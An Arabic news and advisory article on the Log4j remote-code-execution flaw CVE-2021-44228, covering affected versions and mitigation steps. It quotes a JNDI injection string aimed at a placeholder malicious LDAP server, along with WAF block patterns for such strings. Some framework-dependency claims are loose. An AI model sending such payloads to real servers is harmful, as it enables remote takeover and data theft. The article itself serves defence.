ثغرة أمنية حرجة في Log4j: تهديد لملايين تطبيقات Java

تعلم Python بسهولة دون إرهاق نظري. حل مهام عملية مع التحقق التلقائي واكتب الكود مباشرة في المتصفح.

ثغرة أمنية حرجة في Log4j: ما يجب أن يعرفه كل مطور Java

اهتز عالم تطوير Java بخبر اكتشاف ثغرة أمنية حرجة في مكتبة Log4j - إحدى أشهر أدوات تسجيل الأحداث. الثغرة، التي حصلت على المعرف CVE-2021-44228، تسمح للمهاجمين بتنفيذ كود عن بُعد (RCE) على الخادم. وهذا يعني أن المهاجم يمكنه السيطرة الكاملة على النظام، أو سرقة البيانات، أو تثبيت برامج ضارة - وكل ما يحتاجه هو إرسال سلسلة نصية مُعدة خصيصًا إلى السجل.

كيف تعمل الثغرة؟

المشكلة تكمن في آلية JNDI (Java Naming and Directory Interface) التي يستخدمها Log4j لاستبدال القيم الافتراضية. تقوم المكتبة بمعالجة سلاسل نصية مثل ${jndi:ldap://خادم_خبيث/a} - وعند تسجيلها في السجل، يحاول تطبيق Java تحميل البيانات من الخادم المحدد. ونتيجة لذلك، يمكن للمهاجم إجبار الخادم على تنفيذ كود Java عشوائي.

الإصدارات المعرضة للخطر: Log4j 2.x من 2.0-beta9 إلى 2.14.1 شاملة.
نطاق التأثير: آلاف المشاريع - من Minecraft إلى الأنظمة المؤسسية لـ Amazon وTwitter وCloudflare.
سهولة الاستغلال: منخفضة - يكفي إرسال طلب HTTP بسلسلة ضارة في User-Agent أو أي حقل آخر.

من هم المعرضون للخطر؟

الثغرة لا تؤثر فقط على المستخدمين المباشرين لـ Log4j، بل تشمل جميع الأطر التي تستخدم هذه المكتبة داخليًا: Apache Struts وSpring Boot وApache Tomcat وHibernate وغيرها الكثير. إذا كان تطبيق Java الخاص بك يسجل الأحداث (وأي تطبيق لا يفعل ذلك؟) - فأنت في منطقة الخطر.

كيف تحمي نفسك؟

قام مطورو Apache بالفعل بإصدار تصحيح في الإصدار 2.15.0. ومع ذلك، فإن تحديث العديد من المشاريع يمثل مهمة غير تافهة. إليك دليل خطوة بخطوة:

الخطوة 1: قم بتحديث Log4j فورًا إلى الإصدار 2.15.0 أو أعلى. إذا كان ذلك غير ممكن - قم بإزالة الفئة JndiLookup من classpath: zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
الخطوة 2: قم بتعيين معلمات النظام: -Dlog4j2.formatMsgNoLookups=true (للإصدارات 2.10+)
الخطوة 3: تحقق من جميع تبعيات المشروع - حتى غير المباشرة. استخدم mvn dependency:tree أو gradle dependencies.
الخطوة 4: قم بتكوين جدار حماية تطبيقات الويب (WAF) لحظر الطلبات المشبوهة التي تحتوي على ${jndi: أو ${ldap: أو ${rmi:.

لماذا هذا مهم لمجتمع Python؟

على الرغم من اكتشاف الثغرة في نظام Java البيئي، إلا أنها تهم مطوري Python بشكل مباشر. العديد من البنى التحتية الحديثة للخدمات المصغرة تستخدم مكونات Java (مثل Apache Kafka وElasticsearch وLogstash). بالإضافة إلى ذلك، تتفاعل تطبيقات Python غالبًا مع خدمات Java عبر API - وقد يؤدي اختراق خدمة واحدة إلى تعريض البنية التحتية بأكملها للخطر.